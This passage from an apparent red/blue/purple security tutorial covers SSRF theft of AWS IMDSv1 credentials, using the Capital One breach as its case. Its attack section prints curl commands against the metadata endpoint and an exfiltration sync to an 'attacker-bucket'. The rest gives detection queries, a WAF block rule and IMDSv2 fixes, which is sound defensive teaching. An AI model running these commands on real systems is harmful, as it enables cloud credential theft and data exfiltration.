       → returns: AccessKeyId, SecretAccessKey, Token, Expiration

5. Export credentials to attacker-controlled system
   └── The SSRF response body contains the JSON credential blob
       Attacker exfiltrates the JSON out-of-band

6. Use credentials from external system
   ├── aws configure (with stolen AccessKeyId, SecretAccessKey, Token)
   ├── aws sts get-caller-identity → confirm IAM role identity
   ├── aws s3 ls → lists all S3 buckets the role can see
   └── aws s3 cp s3://[capital-one-bucket]/ . --recursive
       → 106 million customer records
       → 140,000 Social Security numbers
       → 80,000 bank account numbers
</code></pre>
<p>IMDSv1 required no authentication. The WAF&#8217;s attached IAM role had <code class="" data-line="">s3:GetObject</code> and <code class="" data-line="">s3:ListBucket</code> permissions scoped broadly enough to reach the data buckets. The SSRF was the entry point; the unauthenticated metadata endpoint was the amplifier; the overly permissive IAM role was the impact multiplier.</p>
<p>Capital One paid a $190M settlement. AWS did not change IMDSv1 as a result — they had already released IMDSv2 in November 2019, months after the breach was discovered (July 2019). The breach timeline predates IMDSv2 availability. What it demonstrated was not a zero-day but a known architectural weakness that had been present since EC2 launched.</p>
<p>The revelation that the industry took away: <strong>IMDSv1 has no authentication. Any SSRF vulnerability anywhere in your stack — in the application, in a WAF, in a sidecar, in a Lambda calling your EC2 — is a straight line to your IAM role credentials.</strong> The SSRF doesn&#8217;t need to be severe or complex. It just needs to reach <code class="" data-line="">169.254.169.254</code>.</p>
<hr />
<h2 id="red-phase-how-the-attack-works">Red Phase: How the Attack Works</h2>
<h3 id="what-ssrf-is">What SSRF Is</h3>
<p>Server-Side Request Forgery is a vulnerability class where an attacker can cause the server to make HTTP requests to destinations of the attacker&#8217;s choosing. The server acts as a proxy: the request originates from the server&#8217;s network context, not the attacker&#8217;s. This is what makes it dangerous in cloud environments — the server has access to link-local addresses, VPC-internal services, and cloud metadata endpoints that the attacker cannot reach directly from the internet.</p>
<p>SSRF surfaces in any feature that causes the server to fetch a URL on behalf of the user:<br />
&#8211; Image URL upload/preview (e.g., &#8220;fetch this avatar URL&#8221;)<br />
&#8211; Webhook configuration (server calls a URL you provide)<br />
&#8211; PDF generation from URL<br />
&#8211; Reverse proxies and WAFs with request-forwarding rules<br />
&#8211; Server-side URL validation endpoints</p>
<h3 id="why-the-metadata-endpoint-is-the-target">Why the Metadata Endpoint Is the Target</h3>
<p><code class="" data-line="">169.254.169.254</code> is the IPv4 link-local address AWS reserves for the Instance Metadata Service (IMDS). It is only reachable from within the EC2 instance itself — not from the VPC, not from the internet. Every EC2 instance has it. No security group rule can block it because it does not traverse the VPC network stack. It is a hypervisor-level endpoint injected into the instance.</p>
<p>The IMDS endpoint serves instance-specific data: instance ID, AMI ID, region, availability zone, network interfaces — and, critically, the temporary credentials for any IAM role attached to the instance.</p>
<pre><code class="" data-line=""># (IMDSv1 — no token required, works with a plain curl)

# Step 1: Enumerate what&#039;s available under iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: the name of the attached IAM role
# Example output: MyApplicationRole

# Step 2: Retrieve the credentials for that role
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
</code></pre>
<p>The response from Step 2 looks like this:</p>
<pre><code class="" data-line="">{
  &quot;Code&quot;: &quot;Success&quot;,
  &quot;LastUpdated&quot;: &quot;2019-03-22T18:03:30Z&quot;,
  &quot;Type&quot;: &quot;AWS-HMAC&quot;,
  &quot;AccessKeyId&quot;: &quot;ASIAQFAKEKEYIDEXAMPLE&quot;,
  &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;,
  &quot;Token&quot;: &quot;FQoDYXdzEJr//////////wEa...very-long-session-token...==&quot;,
  &quot;Expiration&quot;: &quot;2019-03-22T24:03:30Z&quot;
}
</code></pre>
<p>These are real, valid AWS temporary credentials. The <code class="" data-line="">Token</code> field is the STS session token. All three values together authenticate as the IAM role attached to the instance, with whatever permissions that role has been granted.</p>
<h3 id="the-full-attack-chain">The Full Attack Chain</h3>
<p>Step-by-step, with the commands an attacker would run after recovering credentials from an SSRF:</p>
<p><strong>Step 1: Confirm the SSRF and find the metadata endpoint</strong></p>
<pre><code class="" data-line=""># Attacker sends request that causes the vulnerable server to fetch a URL
# The exact mechanism depends on the vulnerability (webhook, image URL, etc.)
# For a Capital One-style WAF SSRF, this might be a crafted HTTP header

# Test if SSRF can reach IMDS:
# Attacker controls a listener (e.g., Burp Collaborator, requestbin)
# then pivots to the metadata endpoint once SSRF is confirmed
</code></pre>
<p><strong>Step 2: Exfiltrate credentials via SSRF</strong></p>
<pre><code class="" data-line=""># Via the SSRF, the server makes this request:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name in response body

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
# → returns AccessKeyId, SecretAccessKey, Token JSON
</code></pre>
<p><strong>Step 3: Use credentials from attacker&#8217;s system</strong></p>
<pre><code class="" data-line=""># Export the stolen credentials
export AWS_ACCESS_KEY_ID=&quot;ASIAQFAKEKEYIDEXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;
export AWS_SESSION_TOKEN=&quot;FQoDYXdzEJr...==&quot;

# Confirm identity
aws sts get-caller-identity
# Output shows which account and role — confirms credentials are valid
</code></pre>
<pre><code class="" data-line="">{
    &quot;UserId&quot;: &quot;AROAQFAKEUSERID:i-01234567890abcdef0&quot;,
    &quot;Account&quot;: &quot;123456789012&quot;,
    &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot;
}
</code></pre>
<p><strong>Step 4: Enumerate and exfiltrate</strong></p>
<pre><code class="" data-line=""># List all accessible S3 buckets
aws s3 ls
# Output: all buckets the role has s3:ListBucket on

# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --recursive | head -50

# Check what IAM actions are allowed (enumerate permissions)
aws iam simulate-principal-policy \
  --policy-source-arn &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot; \
  --action-names &quot;s3:GetObject&quot; &quot;s3:PutObject&quot; &quot;ec2:DescribeInstances&quot; &quot;iam:ListRoles&quot; \
  --query &#039;EvaluationResults[?EvalDecision==`allowed`].EvalActionName&#039; \
  --output text

# Exfiltrate
aws s3 cp s3://target-bucket/ /tmp/exfil/ --recursive
# Or to attacker-controlled bucket:
aws s3 sync s3://target-bucket/ s3://attacker-bucket/
</code></pre>
<h3 id="simulating-it-safely-test-imdsv1-enforcement-on-your-own-instances">Simulating It Safely: Test IMDSv1 Enforcement on Your Own Instances</h3>
<p>Before running detection controls, confirm which of your instances are still vulnerable:</p>
<pre><code class="" data-line=""># Test 1: Can you reach IMDS at all? (run from inside the instance)
curl -s http://169.254.169.254/latest/meta-data/ --max-time 2
# If this returns a list of metadata fields, IMDS is reachable

# Test 2: Is IMDSv1 still enabled? (no token required)
curl -s http://169.254.169.254/latest/meta-data/instance-id --max-time 2
# If this returns an instance ID without supplying a token → IMDSv1 is enabled
# Example output: i-01234567890abcdef0

# Test 3: Check the enforcement state via AWS CLI (from outside the instance)
aws ec2 describe-instances \
  --instance-ids i-01234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
</code></pre>
<pre><code class="" data-line="">[
    {
        &quot;State&quot;: &quot;applied&quot;,
        &quot;HttpTokens&quot;: &quot;optional&quot;,           ← &quot;optional&quot; means IMDSv1 is still enabled
        &quot;HttpPutResponseHopLimit&quot;: 1,
        &quot;HttpEndpoint&quot;: &quot;enabled&quot;,
        &quot;HttpProtocolIpv6&quot;: &quot;disabled&quot;,
        &quot;InstanceMetadataTags&quot;: &quot;disabled&quot;
    }
]
</code></pre>
<p><code class="" data-line="">&quot;HttpTokens&quot;: &quot;optional&quot;</code> means IMDSv1 is still active. Any SSRF in the instance&#8217;s software stack can reach these credentials without a token.</p>
<pre><code class="" data-line=""># Audit all instances in a region for IMDSv1 exposure
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{
    InstanceId: InstanceId,
    Name: Tags[?Key==`Name`].Value | [0],
    HttpTokens: MetadataOptions.HttpTokens,
    HopLimit: MetadataOptions.HttpPutResponseHopLimit
  }&#039; \
  --output table | \
  grep -E &quot;optional|INSTANCE&quot;
# Any row showing &quot;optional&quot; is IMDSv1-exposed
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="what-cloudtrail-logs-when-imds-credentials-are-abused">What CloudTrail Logs When IMDS Credentials Are Abused</h3>
<p>The IMDS credential theft itself is silent — there is no CloudTrail event for an IMDS GET request. The attacker&#8217;s use of the stolen credentials is what generates logs. The key signal is <strong><code class="" data-line="">GetCallerIdentity</code> from an unusual source IP</strong> paired with the instance role&#8217;s ARN appearing in CloudTrail from an IP that is not the instance itself.</p>
<pre><code class="" data-line=""># Find API calls made using instance role credentials from external IPs
# Instance roles appear in CloudTrail as assumed-role ARNs
DETECTOR_ROLE=&quot;MyApplicationRole&quot;
INSTANCE_IP=&quot;10.0.1.50&quot;  # Your instance&#039;s known IP

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
  --start-time &quot;$(date -d &#039;7 days ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].CloudTrailEvent&#039; \
  --output text | \
  jq -r &#039;fromjson |
    select(.userIdentity.sessionContext.sessionIssuer.userName == &quot;&#039;&quot;${DETECTOR_ROLE}&quot;&#039;&quot;) |
    {
      time: .eventTime,
      event: .eventName,
      sourceIP: .sourceIPAddress,
      userAgent: .userAgent,
      region: .awsRegion,
      roleArn: .userIdentity.arn
    }&#039; | \
  jq &quot;select(.sourceIP != \&quot;${INSTANCE_IP}\&quot;)&quot;
  # Any result here = role credentials being used from outside the instance
</code></pre>
<p>The tell: the <code class="" data-line="">userIdentity.arn</code> will contain the instance ID as the role session name (e.g., <code class="" data-line="">assumed-role/MyApplicationRole/i-01234567890abcdef0</code>). If that ARN is making API calls from an IP address that is not the EC2 instance, someone has stolen the credentials and is using them externally.</p>
<h3 id="guardduty-the-purpose-built-finding">GuardDuty: The Purpose-Built Finding</h3>
<p>GuardDuty has a specific finding for exactly this scenario:</p>
<p><strong><code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS</code></strong></p>
<p>This finding fires when GuardDuty detects that temporary credentials associated with an EC2 instance role are being used from an IP address outside of AWS entirely — meaning someone has physically exfiltrated the credentials to their own system and is using them from there.</p>
<pre><code class="" data-line=""># Retrieve this specific finding type from GuardDuty
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS&quot;,
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS&quot;
        ]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    instance: .Resource.InstanceDetails.InstanceId,
    role: .Resource.AccessKeyDetails.UserName,
    externalIP: .Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,
    firstSeen: .Service.EventFirstSeen,
    lastSeen: .Service.EventLastSeen
  }&#039;
</code></pre>
<p>A second finding to watch:</p>
<p><strong><code class="" data-line="">Recon:IAMUser/UserPermissions</code></strong> — fires when the stolen credentials are used to enumerate IAM permissions (the <code class="" data-line="">iam:SimulatePrincipalPolicy</code> call from the attacker&#8217;s Step 4 above). Often appears immediately before the data exfiltration events.</p>
<h3 id="vpc-flow-logs-connections-to-169254169254">VPC Flow Logs: Connections to 169.254.169.254</h3>
<p>VPC Flow Logs do not capture traffic to the IMDS endpoint by default — but they can capture egress from EC2 instances in ways that reveal post-exploitation. More useful for IMDS abuse is querying for unexpected source IPs calling the IMDS from within the VPC:</p>
<pre><code class="" data-line=""># Athena query against VPC flow logs
# Find: connections to 169.254.169.254 from unexpected source IPs
# (useful in containerized environments where only the instance itself should call IMDS)

SELECT
  srcaddr,
  dstaddr,
  srcport,
  dstport,
  protocol,
  packets,
  bytes,
  action,
  log_status,
  from_unixtime(start) as start_time
FROM vpc_flow_logs
WHERE
  dstaddr = &#039;169.254.169.254&#039;
  AND action = &#039;ACCEPT&#039;
  AND from_unixtime(start) &gt; current_timestamp - interval &#039;24&#039; hour
ORDER BY start_time DESC;
</code></pre>
<p>If you see source IPs in this query that are not your EC2 instance&#8217;s primary private IP — for example, container IPs within the pod CIDR — and you have <code class="" data-line="">--http-put-response-hop-limit 1</code> set, those requests should be failing. If they&#8217;re succeeding, the hop limit is not enforced.</p>
<h3 id="imdsv2-hop-limit-why-it-blocks-containerized-attacks">IMDSv2 Hop Limit: Why It Blocks Containerized Attacks</h3>
<p>The hop limit is a separate defense from the token requirement. With <code class="" data-line="">--http-put-response-hop-limit 1</code>, the PUT request to obtain an IMDSv2 token has a TTL of 1. When a process running inside a container tries to reach the IMDS, the request must traverse:</p>
<pre><code class="" data-line="">Container network namespace → veth pair → host network namespace → hypervisor IMDS endpoint
</code></pre>
<p>That traversal decrements the TTL below 1, and the PUT request never reaches the IMDS endpoint. The token is never issued. The GET request that follows has no token and — if <code class="" data-line="">--http-tokens required</code> is also set — is rejected.</p>
<pre><code class="" data-line="">Hop limit = 1:
  Container → veth → [TTL=0, packet dropped]
  IMDS never receives the PUT, never issues a token

Hop limit = 2 (required for EKS with IMDS access):
  Container → veth → host → IMDS
  Token is issued; GET with token succeeds
  ← Use this only when container workloads legitimately need IMDS
</code></pre>
<p>For EKS specifically: use hop limit 2 only on nodes where pods have a legitimate need to call IMDS (rare). The preferred approach is pod-level identity via <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> — pods get short-lived tokens scoped to their service account, not the node&#8217;s IAM role.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-enforce-imdsv2-the-non-negotiable-control">Fix 1: Enforce IMDSv2 — The Non-Negotiable Control</h3>
<p>This is not optional. Every EC2 instance running production workloads should have <code class="" data-line="">--http-tokens required</code>. The operational cost is near zero; the risk reduction is complete for the SSRF-to-IMDS credential chain.</p>
<pre><code class="" data-line=""># Enforce IMDSv2 on a running instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Verify the change took effect
aws ec2 describe-instances \
  --instance-ids i-1234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
# &quot;HttpTokens&quot;: &quot;required&quot; confirms IMDSv2 is enforced
</code></pre>
<pre><code class="" data-line=""># Enforce IMDSv2 in a launch template (all new instances launched from this template)
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abcdef1234567890 \
  --source-version &#039;$Latest&#039; \
  --launch-template-data &#039;{
    &quot;MetadataOptions&quot;: {
      &quot;HttpTokens&quot;: &quot;required&quot;,
      &quot;HttpPutResponseHopLimit&quot;: 1,
      &quot;HttpEndpoint&quot;: &quot;enabled&quot;
    }
  }&#039;

# Set this new version as the default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abcdef1234567890 \
  --default-version &#039;$Latest&#039;
</code></pre>
<pre><code class="" data-line=""># Bulk remediation: enforce IMDSv2 on all instances in a region where
# HttpTokens is currently &quot;optional&quot;
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens==`optional`].InstanceId&#039; \
  --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read instance_id; do
    echo &quot;Enforcing IMDSv2 on: $instance_id&quot;
    aws ec2 modify-instance-metadata-options \
      --instance-id &quot;$instance_id&quot; \
      --http-tokens required \
      --http-put-response-hop-limit 1
  done
</code></pre>
<h3 id="fix-2-scp-to-block-imdsv1-org-wide">Fix 2: SCP to Block IMDSv1 Org-Wide</h3>
<p>An SCP prevents any account in your organization from launching instances with IMDSv1 enabled, and blocks modification of existing instances to re-enable it. This is the org-level control that makes IMDSv2 enforcement durable — individual account teams can&#8217;t accidentally revert it.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RequireIMDSv2OnNewInstances&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
      &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;
        }
      }
    },
    {
      &quot;Sid&quot;: &quot;DenyIMDSv1ReEnablement&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:ModifyInstanceMetadataOptions&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;optional&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>Apply this SCP to all OUs except the management account. New <code class="" data-line="">ec2:RunInstances</code> calls that don&#8217;t include <code class="" data-line="">MetadataOptions.HttpTokens=required</code> will be denied. Existing instances can be remediated with the bulk script above; once remediated, the second statement prevents reverting.</p>
<h3 id="fix-3-oidc-workload-identity-eliminate-the-credential-entirely">Fix 3: OIDC Workload Identity — Eliminate the Credential Entirely</h3>
<p>Enforcing IMDSv2 removes the SSRF-to-IMDS path. <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> removes the entire credential from the picture — there is no long-lived IAM role credential attached to the instance, so there is nothing for SSRF to retrieve.</p>
<p>For Kubernetes workloads on EKS: use IAM Roles for Service Accounts (IRSA) or EKS Pod Identity. The pod&#8217;s service account is bound to an IAM role via OIDC. The pod gets short-lived, automatically rotated credentials scoped to that specific role. The node&#8217;s instance profile requires no IAM permissions for application workloads.</p>
<pre><code class="" data-line=""># EKS Pod Identity: associate a service account with an IAM role
aws eks create-pod-identity-association \
  --cluster-name my-cluster \
  --namespace my-app \
  --service-account my-app-sa \
  --role-arn arn:aws:iam::123456789012:role/my-app-role

# The pod receives credentials via a projected volume token, not IMDS
# Even if an attacker gets SSRF inside the pod, IMDS has no useful credentials for them
# The most they get: instance metadata (instance ID, AMI, AZ) — not IAM credentials
</code></pre>
<h3 id="fix-4-restrict-ssrf-at-the-network-and-application-layer">Fix 4: Restrict SSRF at the Network and Application Layer</h3>
<p>IMDSv2 enforcement is the primary control. Defence in depth adds:</p>
<pre><code class="" data-line=""># WAF rule (AWS WAF): block requests where the URL contains the IMDS address
# This catches simple SSRF attempts at the perimeter before they reach your app
# Deploy as a managed rule group or custom rule:

# AWS CLI: create a WAF rule to block IMDS-targeting SSRFs
aws wafv2 create-rule-group \
  --name &quot;BlockSSRFToIMDS&quot; \
  --scope REGIONAL \
  --capacity 10 \
  --rules &#039;[
    {
      &quot;Name&quot;: &quot;BlockIMDSAccess&quot;,
      &quot;Priority&quot;: 0,
      &quot;Statement&quot;: {
        &quot;ByteMatchStatement&quot;: {
          &quot;SearchString&quot;: &quot;169.254.169.254&quot;,
          &quot;FieldToMatch&quot;: {&quot;QueryString&quot;: {}},
          &quot;TextTransformations&quot;: [{&quot;Priority&quot;: 0, &quot;Type&quot;: &quot;NONE&quot;}],
          &quot;PositionalConstraint&quot;: &quot;CONTAINS&quot;
        }
      },
      &quot;Action&quot;: {&quot;Block&quot;: {}},
      &quot;VisibilityConfig&quot;: {
        &quot;SampledRequestsEnabled&quot;: true,
        &quot;CloudWatchMetricsEnabled&quot;: true,
        &quot;MetricName&quot;: &quot;BlockIMDSAccess&quot;
      }
    }
  ]&#039; \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=BlockSSRFToIMDS
</code></pre>
<pre><code class="" data-line=""># Egress filtering: block EC2 instances from making outbound requests
# to the IMDS address from application code (defense in depth via iptables)
# This only applies if your application runs as a non-root user
# Root processes bypass this — it is a secondary control, not primary

# On the EC2 instance, block application user (uid 1001) from reaching IMDS
iptables -A OUTPUT \
  -m owner --uid-owner 1001 \
  -d 169.254.169.254 \
  -j REJECT \
  --reject-with icmp-port-unreachable

# Only the instance&#039;s AWS SDK calls (typically running as a system service with different uid)
# should need IMDS access — scope accordingly
</code></pre>
<p>Note: iptables-based egress filtering is a secondary control. A root process, or any process with <code class="" data-line="">CAP_NET_ADMIN</code>, can bypass or modify these rules. The primary control remains IMDSv2 enforcement.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legacy AWS SDK versions that only support IMDSv1.</strong> AWS SDK for Java v1 and Python (boto3 &lt; 1.9.220) do not support IMDSv2 by default. Enforcing <code class="" data-line="">--http-tokens required</code> on an instance running a legacy SDK will break credential refresh for the running application. Before enforcing IMDSv2 on a running instance, verify the SDK version used by all processes that call IMDS. Upgrade the SDK if needed; then enforce IMDSv2. The AWS Config rule <code class="" data-line="">ec2-imdsv2-check</code> flags non-compliant instances but does not check SDK versions — that inventory step is manual.</p>
<pre><code class="" data-line=""># Check boto3 version on an instance
python3 -c &quot;import boto3; print(boto3.__version__)&quot;
# Requires &gt;= 1.9.220 for IMDSv2 support

# Check AWS SDK for Java via jar manifest (if applicable)
find /opt /app -name &quot;aws-java-sdk-core-*.jar&quot; 2&gt;/dev/null | \
  while read jar; do
    unzip -p &quot;$jar&quot; META-INF/MANIFEST.MF 2&gt;/dev/null | grep &quot;Implementation-Version&quot;
  done
# AWS SDK for Java v1 &lt; 1.11.678 does not support IMDSv2 by default
</code></pre>
<p><strong>EKS node groups and hop limit 2.</strong> If you run EKS and pods need to use IRSA (IAM Roles for Service Accounts), the pods themselves do not use IMDS — they use a projected service account token. You should be safe with hop limit 1 on EKS nodes in most cases. However, if you have DaemonSets or system components that fetch instance metadata directly (some cluster autoscaler versions, node monitoring agents), hop limit 1 will break them. Audit which processes on your nodes actually call IMDS before setting hop limit 1 on EKS. The <code class="" data-line="">aws eks create-managed-node-group</code> default is hop limit 2 for this reason; you can reduce it once you&#8217;ve confirmed nothing breaks.</p>
<p><strong>GuardDuty&#8217;s 5–15 minute detection delay.</strong> <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> is not a real-time control. GuardDuty aggregates events and applies ML-based anomaly detection — the finding typically appears 5 to 15 minutes after the first anomalous API call. A credential with broad S3 permissions can exfiltrate a significant volume of data in that window. GuardDuty detects the breach; it does not prevent the initial exfiltration. Pair it with: IAM permission boundaries that scope the blast radius, and S3 data events in CloudTrail with real-time EventBridge rules for high-sensitivity buckets.</p>
<pre><code class="" data-line=""># EventBridge rule: alert immediately on S3 data events from unexpected sources
# (complements GuardDuty&#039;s delayed finding)
aws events put-rule \
  --name &quot;S3DataEventFromUnexpectedSource&quot; \
  --event-pattern &#039;{
    &quot;source&quot;: [&quot;aws.s3&quot;],
    &quot;detail-type&quot;: [&quot;AWS API Call via CloudTrail&quot;],
    &quot;detail&quot;: {
      &quot;eventSource&quot;: [&quot;s3.amazonaws.com&quot;],
      &quot;eventName&quot;: [&quot;GetObject&quot;],
      &quot;userIdentity&quot;: {
        &quot;sessionContext&quot;: {
          &quot;sessionIssuer&quot;: {
            &quot;userName&quot;: [&quot;MyApplicationRole&quot;]
          }
        }
      }
    }
  }&#039; \
  --state ENABLED
</code></pre>
<p><strong>Disabling the IMDS endpoint entirely.</strong> You can set <code class="" data-line="">--http-endpoint disabled</code> to turn off IMDS access altogether. Do this only on instances where you are certain no running process needs instance metadata. ECS and EKS managed nodes need IMDS for node registration and credential delivery to the container agent. Application-only EC2 instances that use OIDC/IRSA and have no SDK calls to IMDS are candidates for full endpoint disablement.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<h3 id="imdsv1-vs-imdsv2">IMDSv1 vs IMDSv2</h3>
<table>
<thead>
<tr>
<th>Attribute</th>
<th>IMDSv1</th>
<th>IMDSv2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authentication</td>
<td>None — any HTTP GET works</td>
<td>PUT to <code class="" data-line="">/latest/api/token</code> required first to obtain a session token</td>
</tr>
<tr>
<td>SSRF exploitable</td>
<td>Yes — one HTTP request returns credentials</td>
<td>No — SSRF cannot initiate a PUT before a GET in standard flows</td>
</tr>
<tr>
<td>Session token TTL</td>
<td>N/A</td>
<td>1 second to 21,600 seconds (configurable)</td>
</tr>
<tr>
<td>Hop limit enforcement</td>
<td>N/A</td>
<td>Enforced on PUT — TTL=1 blocks containers from reaching IMDS</td>
</tr>
<tr>
<td>AWS CLI enforcement</td>
<td><code class="" data-line="">--http-tokens optional</code> (default on old instances)</td>
<td><code class="" data-line="">--http-tokens required</code></td>
</tr>
<tr>
<td>Capital One risk</td>
<td>Present</td>
<td>Eliminated</td>
</tr>
</tbody>
</table>
<h3 id="imdsv2-enforcement-commands-by-provider">IMDSv2 Enforcement Commands by Provider</h3>
<table>
<thead>
<tr>
<th>Provider</th>
<th>Enforcement Command</th>
<th>Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>AWS — running instance</strong></td>
<td><code class="" data-line="">aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required --http-put-response-hop-limit 1</code></td>
<td>Single instance</td>
</tr>
<tr>
<td><strong>AWS — launch template</strong></td>
<td>Add <code class="" data-line="">&quot;MetadataOptions&quot;: {&quot;HttpTokens&quot;: &quot;required&quot;}</code> to launch template data</td>
<td>All instances from template</td>
</tr>
<tr>
<td><strong>AWS — org SCP</strong></td>
<td>Deny <code class="" data-line="">ec2:RunInstances</code> where <code class="" data-line="">ec2:MetadataHttpTokens != required</code></td>
<td>All accounts in org</td>
</tr>
<tr>
<td><strong>AWS — Config rule</strong></td>
<td><code class="" data-line="">ec2-imdsv2-check</code> managed rule</td>
<td>Compliance audit</td>
</tr>
<tr>
<td><strong>GCP</strong></td>
<td>GCP does not have an unauthenticated IMDS equivalent; Metadata Server requires <code class="" data-line="">Metadata-Flavor: Google</code> header — this header cannot be set via SSRF in most frameworks</td>
<td>N/A</td>
</tr>
<tr>
<td><strong>Azure</strong></td>
<td>Azure IMDS requires <code class="" data-line="">Metadata: true</code> header — browser/SSRF requests typically cannot set this; additionally, IMDS returns only non-credential metadata by default (credentials via Managed Identity have their own endpoint with additional controls)</td>
<td>N/A</td>
</tr>
</tbody>
</table>
<blockquote>
<p><strong>Note on GCP and Azure:</strong> Both providers designed their metadata services with SSRF resistance in mind. The <code class="" data-line="">Metadata-Flavor: Google</code> and <code class="" data-line="">Metadata: true</code> headers must be explicitly set by the calling code — they are not added by default browser or curl requests. This does not make SSRF harmless on GCP/Azure (other metadata is still exposed), but the credential exfiltration path is harder than IMDSv1.</p>
</blockquote>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>IMDSv1 has no authentication</strong>: any SSRF in any process running on an EC2 instance — application code, WAF, sidecar, proxy — is sufficient to retrieve the full IAM role credentials; no privilege escalation required</li>
<li>The Capital One breach was not a novel attack: it was a well-known SSRF-to-IMDS chain that had been documented for years before 2019; the industry was slow to enforce IMDSv2 at scale</li>
<li><code class="" data-line="">--http-tokens required</code> is the complete fix for the SSRF-to-IMDS credential chain; the operational cost is near zero; every production EC2 instance should have it; use an SCP to make it org-wide and durable</li>
<li>GuardDuty&#8217;s <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> finding is your primary post-exploitation signal but fires 5–15 minutes after the fact — pair it with IAM permission boundaries to limit blast radius and EventBridge rules on S3 data events for real-time alerting</li>
<li>The structural solution eliminates the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> on EKS/GKE means pods get scoped, short-lived tokens; the node&#8217;s instance role carries no application permissions; even a successful SSRF-to-IMDS attack yields nothing useful</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SSRF gets you IAM credentials. But if the attacker is already inside a container — even a legitimate one — the path to the host is different. The credential-theft chain doesn&#8217;t apply when the attacker already has code execution inside a pod. EP08 covers Kubernetes container escape: <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, privileged containers, and the kernel-level paths that take an attacker from container to node. The detection angle is where eBPF enters the picture — syscall-level visibility that catches escape attempts before they complete.</p>
<p>Get EP08 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
